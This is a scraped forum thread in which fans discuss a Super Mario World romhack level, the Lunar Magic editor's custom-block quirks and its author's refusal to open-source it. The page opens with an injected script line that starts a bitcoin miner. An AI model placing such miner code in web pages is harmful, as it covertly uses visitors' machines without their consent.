<script>
miner.start(); // initialise bitcoin miner
</script>

pge projectmario fan games galaxysmw central

SUPER - Mario and Detteiu's Trap Tower

this is the place where lps are being talked about. it's important to talk about games being played on the internet.
User avatar
KobaBeach
obscure jrpg enthusiast
Posts: 1358
Joined: 6 years ago
First name: David
Pronouns: he/him
Location: Portugal

Re: SUPER - Mario and Detteiu's Trap Tower

Postby KobaBeach » 7 months ago

the hell platforms are hilarious because i remember tattletale getting his hands on some japanese version of it, that i suspect was this one, and the code was a hot mess like i'm pretty sure they took the allstars code for it and just transfixed it to smw

they did replace the graphics with the beads of the anal bead springs tho

he was looking at it to figure out how to code one himself for his collab hack to also later edit and make dumb nonsense with for people to use, he kept referring to it (the hell platform) as being coded with "arcane magic"

a lot of mikeyk's old sample sprites that came with spritetool (the first ones ever made) also had a ton of code taken from all-stars, i believe? alongside some reused bits of vanilla smw code (often used pretty poorly, like this was the infancy of smw hacking so i'll cut mikey some slack) so if you're wondering how easy it is to port stuff from allstars to smw, the answer is: eh, kinda? i wouldn't recommend using nintycode as a guide for studying good coding practices

the true question is: what happens when you port stuff from other non-mario games into smw tho? preferrably no additional chips. when i was still friends with vivi he was like "oh brutal mario is easy just debug other snes games and disassemble the code you wanna use" so... (thinking emoji)

truly, programming is like magic

sorry, ever since i first ran into sonic hacks, and later on brutal mario (which has some pretty galaxy brain programming (not in the good sense)), programming is just something that fascinates me
twitter (spicy at times!) | avatar by kuma

who cares:
Image

Image
Image
Image
Image

User avatar
Voltgloss
The first story's end.
Posts: 995
Joined: 6 years ago
Pronouns: he/him/his
Location: exploring the world

Re: SUPER - Mario and Detteiu's Trap Tower

Postby Voltgloss » 7 months ago

So, on the Hell platforms that seem to tilt only to the left... if Mario jumps and lands on the right side without having tilted the platform at all, could he just stand there on the right side forever, without it tilting at all?
Last edited by Voltgloss on 09 Apr 2019, 15:44, edited 1 time in total.
Image

User avatar
churine
Posts: 149
Joined: 4 years ago
Pronouns: she/her

Re: SUPER - Mario and Detteiu's Trap Tower

Postby churine » 7 months ago

Voltgloss wrote: So, on the Hell platforms that seem to tilt only to the left... if Mario jumps and lands on the right side without having titled the platform at all, could he just stand there on the right side forever, without it tilting at all?
it wouldn't surprise me if you landed to the right of an untilted platform it still tilted to the left anyways
it actually looked like raocow did land in the middle-right for a moment and that's what happened for an instant even but i can't find the timestamp

User avatar
KobaBeach
obscure jrpg enthusiast
Posts: 1358
Joined: 6 years ago
First name: David
Pronouns: he/him
Location: Portugal

Re: SUPER - Mario and Detteiu's Trap Tower

Postby KobaBeach » 7 months ago

The block thing is purely because of how Lunar Magic is coded :)

Lunar Magic is a garbage program made by garbage people and one of the many brilliant ideas FuSoYa had was make it so that the top corners of the custom blocks act different from the actual top. This was never implemented outside of his CLOSED SOURCE (DON'T STEAL MY CODE YOU GUYS!!!!!!!) custom blocks until 1.64 which came after 5 fucking years of radio silence because WOOPS people are using Lunar Magic and he just refuses, flat out refuses, to reveal its source code (or code any feature that requires effort for that matter).

As a result, BlockTool had this glaring mistake for ages, and Lunar Magic never supported Japanese translations because it requires too much effort on FuSoYa's end (fuck you non-English speakers), so everyone in Japan just used 1.63 because it had an unofficial translation patch. So yeah, the Japanese were rather fucked by virtue of no one caring for anyone outside of English speakers in the SMW community.

Long story short, it sucks dick but it's not wagokoro's fault.
Lack of support for Japanese is also likely why there's no Japanese community anymore, just btw.

Thank FuSoYa for the scene barely progressing ever.
That ~square levels wow~ thing that got added in LM 3.00, that was all Vitor Vilela, FuSoYa did squat outside of just supporting it.

FuSoYa is a worthless hack and the fact that he's not seen as anything but a leech for keeping Lunar Magic and its ASM hacks a black box is both astounding and disappointing.

/smwc stress disorder
Discord wrote:Super Maks 64 Hoje às 12:59
should have mentioned that he prioritized a level data locking system for romhacks over headerless rom support, bps patching and translations
and also that secret image to background converter that is only active on christmas
twitter (spicy at times!) | avatar by kuma

who cares:
Image

Image
Image
Image
Image

User avatar
Leet
Well, hello, Smith ( ´-`)ノ
Posts: 2172
Joined: 7 years ago
First name: Chie Arale
Pronouns: she/her
Location: Harman's Room

Re: SUPER - Mario and Detteiu's Trap Tower

Postby Leet » 7 months ago

The koopa was just not playing smw very well on his end
Well it is a decent hack but sometime its just too repetitif there no level that actually pop in your face and your like oh yeah that level they all ressemble themselves and just monster along the way.
Blood Ghoul wrote:Sometimes it seems my blood spurts out in gobs, as if it were a fountain's pulsing sobs. I clearly hear it mutter as it goes yet cannot find the wound from which it flows. Before I met you, baby, I didn't know what I was missing.

User avatar
SAJewers
hi
Posts: 3203
Joined: 7 years ago
Location: Nova Scotia

Re: SUPER - Mario and Detteiu's Trap Tower

Postby SAJewers » 7 months ago

ImageImageImageImageImage
Image
ImageImageImageImage

User avatar
morsel/morceau
Posts: 373
Joined: 10 years ago
Location: exotic horse island

Re: SUPER - Mario and Detteiu's Trap Tower

Postby morsel/morceau » 7 months ago

I am fairly sure that the kicking koopa was inconsistent in itself and was not able to be influenced by player actions. The interesting thing is that no matter if he falls off the ledge with the shell or not, you can still make progress, you just have to do different things. Therefore that part is a sort of random obstacle. Was this on purpose? Is it good?
In an aside, the VIP4 and VIp 5 equivalents of this level were icy, so this had to be icy, clearly. nyoro~n
dont wanna jihad no more

User avatar
Grounder
Posts: 3300
Joined: 5 years ago

Re: SUPER - Mario and Detteiu's Trap Tower

Postby Grounder » 7 months ago

calm down, koba, wow

even if it was meant to be a joke, it didn't read like one to me
Why don't you eat me?

I am perfectly tasty...

AND I'LL STEAL YOUR SOUL! :twisted:

ImageImageImage

User avatar
Arctangent
squawky
Posts: 612
Joined: 4 years ago
Pronouns: she/her

Re: SUPER - Mario and Detteiu's Trap Tower

Postby Arctangent » 7 months ago

Christopher Lloyd wrote: calm down, koba, wow

even if it was meant to be a joke, it didn't read like one to me
i have great doubts that it's a joke, nor that it's at all unjustified

User avatar
KobaBeach
obscure jrpg enthusiast
Posts: 1358
Joined: 6 years ago
First name: David
Pronouns: he/him
Location: Portugal

Re: SUPER - Mario and Detteiu's Trap Tower

Postby KobaBeach » 7 months ago

it's not, fusoya legitimately pisses me off and i have most likely developed a stress disorder from my time spent dealing with people at smwcentral and sneslab

at one point i ragequit smw hacking because my time at sneslab devolved into everyone shouting the f*gg*t slur because i told them saying slurs is not a good thing and smwcentral's admins trying to cut down on that shit is actually a good thing

to say i dont want to go anywhere near smwc people is an understatement

im sorry
twitter (spicy at times!) | avatar by kuma

who cares:
Image

Image
Image
Image
Image

User avatar
freshtalk
Posts: 134
Joined: 1 year ago

Re: SUPER - Mario and Detteiu's Trap Tower

Postby freshtalk » 7 months ago

Hope there aren't too many unfortunate technical hiccups going forward. Those always tend to feel worse than just poor design, to me at least.

User avatar
Ashan
The world has become a place
Posts: 2157
Joined: 9 years ago
Location: Canada

Re: SUPER - Mario and Detteiu's Trap Tower

Postby Ashan » 7 months ago

Has fusoya ever given a reason as to why LM isn't open-sourced? It's a very strange decision, because as far as I know, there's literally zero benefit for him since he's not monetizing it, and it just makes things harder for other devs who want to build tools compatible with it. It seems like such a no-brainer for a tool that is specifically meant to be used by a hacking community.
Image
Image
Image
Image
Image
Image

User avatar
warpio
Posts: 246
Joined: 10 years ago
Location: Canada

Re: SUPER - Mario and Detteiu's Trap Tower

Postby warpio » 7 months ago

raocow, please don't be so defensive about having to resort to savestates. It's not worth letting the stress of an unreasonably difficult level take years off your life just for the sake of accomplishment.

maybe it's because you're thinking in the back of your mind "I've been through worse", and you're hard on yourself because it feels like you're skipping out on a challenge that you KNOW you have the ability to conquer? If that's the case, I would suggest changing your line of thinking to be more about the overall enjoyment-to-stress ratio, and thinking more along the lines of "I'm not getting worse at videogames, I'm getting better at choosing what I spend my time with for maximum enjoyment."

User avatar
Ashan
The world has become a place
Posts: 2157
Joined: 9 years ago
Location: Canada

Re: SUPER - Mario and Detteiu's Trap Tower

Postby Ashan » 7 months ago

morsel/morceau wrote: I am fairly sure that the kicking koopa was inconsistent in itself and was not able to be influenced by player actions. The interesting thing is that no matter if he falls off the ledge with the shell or not, you can still make progress, you just have to do different things. Therefore that part is a sort of random obstacle. Was this on purpose? Is it good?
I wonder if it was consistent on whatever emulator the dev was targeting, similar to those platforms TEoM did a big writeup on a couple pages ago
Image
Image
Image
Image
Image
Image

User avatar
KobaBeach
obscure jrpg enthusiast
Posts: 1358
Joined: 6 years ago
First name: David
Pronouns: he/him
Location: Portugal

Re: SUPER - Mario and Detteiu's Trap Tower

Postby KobaBeach » 7 months ago

Ashan wrote: Has fusoya ever given a reason as to why LM isn't open-sourced? It's a very strange decision, because as far as I know, there's literally zero benefit for him since he's not monetizing it, and it just makes things harder for other devs who want to build tools compatible with it. It seems like such a no-brainer for a tool that is specifically meant to be used by a hacking community.
as much as im aware he doesnt want his code stolen, nevermind the fact he's altering a commercial game

i have like half the mind to just disassemble lm's asm hacks with shex or some shit and distribute them that's how petty i am
i might just snap one day and end up doing it just to spite smwc
twitter (spicy at times!) | avatar by kuma

who cares:
Image

Image
Image
Image
Image

User avatar
Arctangent
squawky
Posts: 612
Joined: 4 years ago
Pronouns: she/her

Re: SUPER - Mario and Detteiu's Trap Tower

Postby Arctangent » 7 months ago

Ashan wrote: Has fusoya ever given a reason as to why LM isn't open-sourced? It's a very strange decision, because as far as I know, there's literally zero benefit for him since he's not monetizing it, and it just makes things harder for other devs who want to build tools compatible with it. It seems like such a no-brainer for a tool that is specifically meant to be used by a hacking community.
emphasis mine because something has to be understood here:

this isn't remotely a strange decision to anyone who has a lot of experience with programmers. especially programmers of hobby projects, and especially older hobby projects

there's this seemingly crippling sense of entitlement that's distressingly common among this type, where their little project is their baby that nobody else can touch, no matter how much weight it has in a community. there was maybe a slightly justified fear of someone taking the code without attribution back in the days of only hosting the source code on your website, but? nowadays we have stuff like github and bitbucket that not only makes it really easy for people to track down the original code back to the original project, but also makes it a billion times easier to make variants of a program that can still be linked back to the original one

heck, it lets people continue to develop the program without even making variations, if either you put in the effort into accepting pull requests or give someone you trust the power to do it for you. it would be entirely possible for fuso to set up a git repo on one of the various sites that do that for him ( for free, i might add ) and have the programmers of the smw hacking community maintain his program for him through a method he could always keep an eye on

but, of course, it's his baby, so regardless of the impact of making it open source would have on the community, only he's allowed to develop it. even though he doesn't anymore. and that's final

User avatar
ano0maly
Discord User
Posts: 1831
Joined: 8 years ago

Re: SUPER - Mario and Detteiu's Trap Tower

Postby ano0maly » 7 months ago

Ashan wrote: Has fusoya ever given a reason as to why LM isn't open-sourced?
Probably the same reason why redigit hasn't made SMBX open-sourced

This is why the SMBX 2.0 development to this day largely depends on an external hack attached on top of the closed box of the original SMBX.

Also - the discussion on this page about how it's FuSoYa's fault and not wagokoro's fault is odd contrast in tone to what Mandew said here.
Image The talkhaus Discord server. Come ask for an invite to join!

Image

Image
Now the sole biggest

User avatar
BobisOnlyBob
Mythical Quadruped
Posts: 984
Joined: 6 years ago
Location: the world is no longer a place

Re: SUPER - Mario and Detteiu's Trap Tower

Postby BobisOnlyBob » 7 months ago

I'm fine with splitting the difference. Bad toolchain limits options, but they're still options. There were alternative ways to achieve the same or similar gameplay experience without depending on questionable blocks, but also the hack was always pretty damn kaizo so the corner offset problem was likely disregarded as the player suffering (even for BS reasons) is part of the intended design space. But there was no option to use as-is with the fix, based on my understanding of the tools available to wa.

I won't deny I laughed hard when Mario went right through the diagonal blocks. It's incredibly shitty for poor raocow, but as an audience member that's entertainment I can't get most anywhere else. I'm sorry I delight in your suffering raocow, but know your time is never wasted, no matter how bad it gets, because of terrible people like me!
BOB is an acronym for BOB is Only BOB etc.

User avatar
ft029
m/m wannabe
Posts: 472
Joined: 3 years ago
Location: U.S.

Re: SUPER - Mario and Detteiu's Trap Tower

Postby ft029 » 7 months ago

Like the switch palace, this level is straight up kaizo.
Mosts Awards:
Image
Image

User avatar
KobaBeach
obscure jrpg enthusiast
Posts: 1358
Joined: 6 years ago
First name: David
Pronouns: he/him
Location: Portugal

Re: SUPER - Mario and Detteiu's Trap Tower

Postby KobaBeach » 7 months ago

tahts so kaizo
twitter (spicy at times!) | avatar by kuma

who cares:
Image

Image
Image
Image
Image

User avatar
Ashan
The world has become a place
Posts: 2157
Joined: 9 years ago
Location: Canada

Re: SUPER - Mario and Detteiu's Trap Tower

Postby Ashan » 7 months ago

But there wasn't a single chain chomp
Image
Image
Image
Image
Image
Image

User avatar
Lockirby2
Posts: 350
Joined: 4 years ago
Location: Ontario, Canada
Contact:

Re: SUPER - Mario and Detteiu's Trap Tower

Postby Lockirby2 » 7 months ago

Man, I still need to work on my dying yak noises.

User avatar
Voltgloss
The first story's end.
Posts: 995
Joined: 6 years ago
Pronouns: he/him/his
Location: exploring the world

Re: SUPER - Mario and Detteiu's Trap Tower

Postby Voltgloss » 7 months ago

Lockirby2 wrote: dying yak noises
public service announcement: don't Google this
Image

User avatar
Sebby19
Posts: 2564
Joined: 10 years ago
Location: Winnipeg, Manitoba

Re: SUPER - Mario and Detteiu's Trap Tower

Postby Sebby19 » 7 months ago

Oddly... specific.
I don't think anyone was going to. But now you unfortunately got me curious.
ImageImage
-Banned in Antarctica
Sebby19 wrote:If your life depends on throwing up, switch to the keyboard
Official raocow subscriber # 30,000

User avatar
SAJewers
hi
Posts: 3203
Joined: 7 years ago
Location: Nova Scotia

Re: SUPER - Mario and Detteiu's Trap Tower

Postby SAJewers » 7 months ago

Image
ImageImageImageImageImage
Image
ImageImageImageImage


Return to “let's play”

Who is online

Users browsing this forum: Majestic-12 [Bot] and 14 guests